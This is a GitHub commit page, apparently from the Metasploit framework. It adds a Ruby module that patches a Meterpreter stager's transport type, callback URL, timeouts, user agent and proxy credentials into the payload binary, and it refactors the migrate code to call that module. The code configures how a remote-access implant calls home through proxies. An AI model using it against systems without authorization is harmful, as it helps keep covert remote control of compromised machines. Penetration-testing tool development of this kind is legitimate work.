Skip to content

Commit e47a6f1

Browse files
committed
Provides methods to patch metsrv stagers with options.
1 parent 6661e1a commit e47a6f1

File tree

4 files changed

+138
-22
lines changed

4 files changed

+138
-22
lines changed

lib/rex/payloads.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
# -*- coding: binary -*-
22
require 'rex/payloads/win32'
3+
require 'rex/payloads/meterpreter'

lib/rex/payloads/meterpreter.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# -*- coding: binary -*-
2+
require 'rex/payloads/meterpreter/patch'

lib/rex/payloads/meterpreter/patch.rb

Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
# -*- coding: binary -*-
2+
3+
module Rex
4+
module Payloads
5+
module Meterpreter
6+
###
7+
#
8+
# Provides methods to patch options into metsrv stagers
9+
#
10+
###
11+
module Patch
12+
13+
# Replace the transport string
14+
def self.patch_transport blob, ssl, url, expiration, comm_timeout
15+
16+
i = blob.index("METERPRETER_TRANSPORT_SSL")
17+
if i
18+
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
19+
blob[i, str.length] = str
20+
end
21+
22+
i = blob.index("https://" + ("X" * 256))
23+
if i
24+
str = url
25+
blob[i, str.length] = str
26+
end
27+
28+
i = blob.index([0xb64be661].pack("V"))
29+
if i
30+
str = [ expiration ].pack("V")
31+
blob[i, str.length] = str
32+
end
33+
34+
i = blob.index([0xaf79257f].pack("V"))
35+
if i
36+
str = [ comm_timeout ].pack("V")
37+
blob[i, str.length] = str
38+
end
39+
40+
return blob
41+
end
42+
43+
# Replace the user agent string with our option
44+
def self.patch_ua blob, ua
45+
46+
i = blob.index("METERPRETER_UA\x00")
47+
if i
48+
blob[i, ua.length] = ua
49+
end
50+
51+
return blob, i
52+
end
53+
54+
# Activate a custom proxy
55+
def self.patch_proxy blob, proxyhost, proxyport, proxy_type
56+
57+
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
58+
if i
59+
if proxyhost
60+
if proxyhost.to_s != ""
61+
proxyhost = proxyhost.to_s
62+
proxyport = proxyport.to_s || "8080"
63+
proxyinfo = proxyhost + ":" + proxyport
64+
if proxyport == "80"
65+
proxyinfo = proxyhost
66+
end
67+
if proxy_type.to_s == 'HTTP'
68+
proxyinfo = 'http://' + proxyinfo
69+
else #socks
70+
proxyinfo = 'socks=' + proxyinfo
71+
end
72+
proxyinfo << "\x00"
73+
blob[i, proxyinfo.length] = proxyinfo
74+
end
75+
end
76+
end
77+
78+
return blob, i, proxyinfo
79+
end
80+
81+
# Proxy authentification
82+
def self.patch_proxy_auth blob, proxy_username, proxy_password, proxy_type
83+
84+
unless (proxy_username.nil? or proxy_username.empty?) or
85+
(proxy_password.nil? or proxy_password.empty?) or
86+
proxy_type == 'SOCKS'
87+
88+
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
89+
proxy_username = proxy_username << "\x00"
90+
blob[proxy_username_loc, proxy_username.length] = proxy_username
91+
92+
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
93+
proxy_password = proxy_password << "\x00"
94+
blob[proxy_password_loc, proxy_password.length] = proxy_password
95+
end
96+
97+
return blob
98+
end
99+
100+
end
101+
end
102+
end
103+
end

lib/rex/post/meterpreter/client_core.rb

Lines changed: 32 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,9 @@
88
# argument for moving the meterpreter client into the Msf namespace.
99
require 'msf/core/payload/windows'
1010

11+
# Provides methods to patch options into the metsrv stage.
12+
require 'rex/payloads/meterpreter/patch'
13+
1114
module Rex
1215
module Post
1316
module Meterpreter
@@ -228,31 +231,38 @@ def migrate( pid )
228231

229232
if client.passive_service
230233

231-
# Replace the transport string first (TRANSPORT_SOCKET_SSL
232-
i = blob.index("METERPRETER_TRANSPORT_SSL")
233-
if i
234-
str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
235-
blob[i, str.length] = str
236-
end
234+
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
235+
blob = Rex::Payloads::Meterpreter::Patch.patch_transport(
236+
blob,
237+
client.ssl,
238+
self.client.url,
239+
self.client.expiration,
240+
self.client.comm_timeout
241+
)
242+
243+
# Replace the user agent string with our option
244+
blob, i = Rex::Payloads::Meterpreter::Patch.patch_ua(
245+
blob,
246+
client.exploit_datastore['MeterpreterUserAgent'][0,255] + "\x00"
247+
)
248+
249+
# Activate a custom proxy
250+
blob, i = Rex::Payloads::Meterpreter::Patch.patch_proxy(
251+
blob,
252+
client.exploit_datastore['PROXYHOST'],
253+
client.exploit_datastore['PROXYPORT'],
254+
client.exploit_datastore['PROXY_TYPE']
255+
)
256+
# Proxy authentication
257+
blob = Rex::Payloads::Meterpreter::Patch.patch_proxy_auth(
258+
blob,
259+
client.exploit_datastore['PROXY_USERNAME'],
260+
client.exploit_datastore['PROXY_PASSWORD'],
261+
client.exploit_datastore['PROXY_TYPE']
262+
)
237263

238264
conn_id = self.client.conn_id
239-
i = blob.index("https://" + ("X" * 256))
240-
if i
241-
str = self.client.url
242-
blob[i, str.length] = str
243-
end
244265

245-
i = blob.index([0xb64be661].pack("V"))
246-
if i
247-
str = [ self.client.expiration ].pack("V")
248-
blob[i, str.length] = str
249-
end
250-
251-
i = blob.index([0xaf79257f].pack("V"))
252-
if i
253-
str = [ self.client.comm_timeout ].pack("V")
254-
blob[i, str.length] = str
255-
end
256266
end
257267

258268
# Build the migration request

0 commit comments

Comments
 (0)